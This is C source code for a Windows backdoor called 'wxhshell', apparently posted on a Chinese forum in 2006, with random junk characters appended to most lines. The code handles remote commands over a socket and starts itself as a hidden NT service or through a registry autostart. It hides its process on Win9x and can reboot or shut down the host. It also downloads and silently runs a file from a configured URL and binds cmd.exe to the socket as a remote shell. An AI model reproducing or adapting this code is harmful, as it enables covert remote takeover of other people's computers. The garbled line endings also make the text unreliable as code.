  HlE8AbEg  
  // 帮助 W?Z>g"  
  case '?': { >DRxF5b{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @5Tl84@Q  
    break; \;7U:Y$v  
  } Cmx<>7fN  
  // 安装 nlv,j&  
  case 'i': { J6#h~fpv  
    if(Install()) . X!!dx1<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S_7]_GQ9  
    else 75\ZD-{T:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y [McdlH m  
    break; p[4 +`8  
    } hj];a,Br&  
  // 卸载 EZ!! V~  
  case 'r': { =1[_#Moc6  
    if(Uninstall()) Zfs-M)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); GgxPpS<ne  
    else Z=% j|xE_  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~~yng-3)1  
    break; uzp\V 39  
    } 0H_Ai=G  
  // 显示 wxhshell 所在路径 qT?{}I  
  case 'p': { W*LC3B^  
    char svExeFile[MAX_PATH]; t|@5 ,J  
    strcpy(svExeFile,"\n\r"); (MXy\b<  
      strcat(svExeFile,ExeFile); Oti;wf G7o  
        send(wsh,svExeFile,strlen(svExeFile),0); W B:0}b0Gu  
    break; jr6 0;oK+  
    } ]t<=a6 <P  
  // 重启 nf pO  
  case 'b': { ,!> ~izB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4Uny.C]  
    if(Boot(REBOOT)) Yo%U{/e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t'K+)OK  
    else { ;"D}"nL  
    closesocket(wsh); bqn(5)%{  
    ExitThread(0); :^(y~q?  
    } bZ`#;D<  
    break; @,<jPR.  
    } /3)\^Pof  
  // 关机 FH}?QebSR  
  case 'd': { .]>Tj^1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7#JnQ| ]  
    if(Boot(SHUTDOWN)) hT^&*}G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C2<TR PT  
    else { .qE  
    closesocket(wsh); 7c_2.T@4  
    ExitThread(0); r2:{r`ocM  
    } 8YZ9  
    break; feX o"J  
    } -O &>HA  
  // 获取shell ]fb@>1 jp  
  case 's': { iZTU]+z!  
    CmdShell(wsh); ^S|qGu,G  
    closesocket(wsh); \zU<o~gs  
    ExitThread(0); xR-;,=J  
    break; {)Wf[2zJ  
  } ?Nt(sZ-  
  // 退出 pnu?=.O  
  case 'x': { N:|``n>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \(LD<-a  
    CloseIt(wsh); k*_Gg  
    break; 'n h^;  
    } `NhG|g  
  // 离开 tHzgZo Bz  
  case 'q': { 0$Tb5+H5  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QP~["%}T  
    closesocket(wsh); bEF2- FO  
    WSACleanup(); Qw_uwQZ)  
    exit(1); >!5RY8+  
    break; @Yt394gA%\  
        } I{w(`[Nxw*  
  } bR3Crz(9G  
  } i).Vu}W#S  
x((u  
  // 提示信息 Wm1dFf.>  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); & *tL)qKDc  
} =9TwBr.CJ  
  } DD/B\  
`Fcr`[  
  return; "(jD*\8x  
} T=/c0#Q|q  
0;x&\x7K  
// shell模块句柄 W7C1\'T  
int CmdShell(SOCKET sock) N!.o`4 "z  
{ BqJ|l7+  
STARTUPINFO si; 7&,$  
ZeroMemory(&si,sizeof(si)); In4VS:dD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7zzFM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %KF I~Qk  
PROCESS_INFORMATION ProcessInfo; 'g <"@SS+  
char cmdline[]="cmd"; <IIz-6*V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <f (z\pi1  
  return 0; 2aTq?ZR|8A  
} NEIF1( :  
@=G [mc\  
// 自身启动模式 (<B%Gy@  
int StartFromService(void) )z&C&Gqz  
{ $@s-OQ}  
typedef struct WCY._H>|   
{ KHP/Y {mH  
  DWORD ExitStatus; PP! /WX  
  DWORD PebBaseAddress; tJ\v>s-f  
  DWORD AffinityMask; &W3srJo  
  DWORD BasePriority; t[;-gi,,  
  ULONG UniqueProcessId; Wlg1t~1=  
  ULONG InheritedFromUniqueProcessId; G5|nt#>  
}   PROCESS_BASIC_INFORMATION; xj D$i'V+  
3\ ]j4*i!  
PROCNTQSIP NtQueryInformationProcess; aAP86MHO  
DI(XB6  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; AaU!a  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,f%4xXI  
,2 xD>+=  
  HANDLE             hProcess; C/ VHzV%q  
  PROCESS_BASIC_INFORMATION pbi; Zk~Pq%u  
6W:]'L4!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  Hxy=J  
  if(NULL == hInst ) return 0; tSni[,4Kq  
[c;0eFSi2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 63'% +  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cjtcEW  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 1Z?uT[kR  
oNYFbZw  
  if (!NtQueryInformationProcess) return 0; PDH|=meXM  
4h?@D_{k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CXGMc)#>f  
  if(!hProcess) return 0; A|PZ<WAY  
%qqCpg4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ts@w9|  
/F^ Jn_  
  CloseHandle(hProcess); n4B uM R  
K}N~KDW R|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d" 0&=/  
if(hProcess==NULL) return 0; Ya~Th)'>q  
-`\n/"#X6i  
HMODULE hMod; Wm}T=L`  
char procName[255]; s(Wys^[g  
unsigned long cbNeeded; -|u yJh  
g`Q!5WK*  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 89KFZ[.}]  
3A0Qjj=  
  CloseHandle(hProcess); =oq=``%  
H>D?  
if(strstr(procName,"services")) return 1; // 以服务启动 n@H;*nI|  
K[?@nl?,z  
  return 0; // 注册表启动 Wc m'E3c,  
} "5ISKuL  
 `wIWK7i  
// 主模块 C2b<is=H:  
int StartWxhshell(LPSTR lpCmdLine) a".iVf6y  
{ X%og}Cfi  
  SOCKET wsl; sEKF  
BOOL val=TRUE; :_F 8O  
  int port=0; !]fSS)\H  
  struct sockaddr_in door; XR<g~&h  
,dosF Q  
  if(wscfg.ws_autoins) Install(); xY.?OHgG/  
=b"{*Heuw  
port=atoi(lpCmdLine); J0f!+]~G3  
=eS?`|  
if(port<=0) port=wscfg.ws_port; 0dsL%G~/N  
xFIzq  
  WSADATA data; s`G}MU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lSoAw-@At8  
B@z ng2[  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a*&&6Fo  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); OXl0R{4  
  door.sin_family = AF_INET; MOytxl:R  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^R :zma  
  door.sin_port = htons(port); oO7)7$|1  
ang~_Ec.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NYKYj`K  
closesocket(wsl); ;gAL_/_  
return 1; pVzr]WFx  
} BW3Q03SW6  
m$hkmD|  
  if(listen(wsl,2) == INVALID_SOCKET) { '~7zeZ'  
closesocket(wsl); -2u)orWP  
return 1; 6Hy_7\$(-  
} L?M x"  
  Wxhshell(wsl); e]dFNunFq0  
  WSACleanup(); Nw"?~"bo  
;;C2t&(  
return 0; ^xScVOdP  
" &`>+Yw  
} sV0NDM0  
w/PE)xA  
// 以NT服务方式启动 nWK7*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Q.3:"dT  
{ X f;R'a,$  
DWORD   status = 0; iv],:|Mbd  
  DWORD   specificError = 0xfffffff; 2 p}I  
4hfq7kq7(  
  serviceStatus.dwServiceType     = SERVICE_WIN32; fo~*Bp()-E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; P0sAq7"  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 48 0M|^  
  serviceStatus.dwWin32ExitCode     = 0; amX1idHo^  
  serviceStatus.dwServiceSpecificExitCode = 0; 1D!MXYgm1b  
  serviceStatus.dwCheckPoint       = 0; WjSu4   
  serviceStatus.dwWaitHint       = 0; ?'H+u[1.  
cf ^i!X0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); YRv96|c,  
  if (hServiceStatusHandle==0) return; @Jqo'\~&  
z yp3 +|  
status = GetLastError(); A>mk0P)~Q  
  if (status!=NO_ERROR) Akws I@@  
{ k!bJ&} Q(b  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 35x]'  
    serviceStatus.dwCheckPoint       = 0;  n0EW U,1  
    serviceStatus.dwWaitHint       = 0; DSq?|H  
    serviceStatus.dwWin32ExitCode     = status; fz8 41 <Y  
    serviceStatus.dwServiceSpecificExitCode = specificError; B~@Gfb>`'  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .A_R6~::  
    return; @SaxM4  
  } ;n|%W,b-  
&m\Uc  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; oSjYp(h:  
  serviceStatus.dwCheckPoint       = 0; 0ZLLbEfnPB  
  serviceStatus.dwWaitHint       = 0; Eht8~"fj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ][#|5UK8L  
} .RAyi>\e  
H;q[$EUNb  
// 处理NT服务事件,比如:启动、停止 ]n"U])pJd  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ( *K)D$y  
{ b5KK0Jjk  
switch(fdwControl) to1r 88X  
{ *WFd[cKE  
case SERVICE_CONTROL_STOP: L`w r~E2u  
  serviceStatus.dwWin32ExitCode = 0; Br{(sL0e  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L8Z@Dk7Y  
  serviceStatus.dwCheckPoint   = 0; =8rNOi  
  serviceStatus.dwWaitHint     = 0; {9Ok^O  
  { JBZ1DZAWC  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3Z` wU  
  } 6V@_?a-K  
  return; @6aJh< c  
case SERVICE_CONTROL_PAUSE: <$a-.C5  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Y}Dk>IG  
  break; a<E9@  
case SERVICE_CONTROL_CONTINUE: P3Vh|<'7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -yBj7F|  
  break; R(8?9-w  
case SERVICE_CONTROL_INTERROGATE: _ yDDPuAi  
  break; ]ZW-`UMO  
}; JR&yaOws  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); myqwU`s  
} 7xux%:BN  
/EegP@[  
// 标准应用程序主函数 )~ &gBX  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?2\oi*$  
{ z}7}D !  
oe3=QE  
// 获取操作系统版本 ]w$cqUhM  
OsIsNt=GetOsVer(); \d]Y#j<  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 2m*/$GZ  
G%zJ4W%  
  // 从命令行安装 K@*4=0  
  if(strpbrk(lpCmdLine,"iI")) Install(); .c@Y ?..+  
q"DHMZB  
  // 下载执行文件 dxH\H?NO  
if(wscfg.ws_downexe) { b35 3+7"|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X=lsuKREZ  
  WinExec(wscfg.ws_filenam,SW_HIDE); i3d 2+N`  
} 0w< ilJ  
sX3qrRY  
if(!OsIsNt) { L$+_  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;O{bF8 U  
HideProc(); ~ISY( &  
StartWxhshell(lpCmdLine); :xbj& l  
} =YfzB!ld  
else j(K)CHH  
  if(StartFromService()) (\r^ 0>H  
  // 以服务方式启动 /0fHkj/J=B  
  StartServiceCtrlDispatcher(DispatchTable); L%<]gJtrO  
else ZJF+./vN  
  // 普通方式启动 `g)  
  StartWxhshell(lpCmdLine); B*Om\I  
XZ3fWcw[  
return 0; iVf7;M8O  
}
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只看该作者 1 发表于: 2006-10-10
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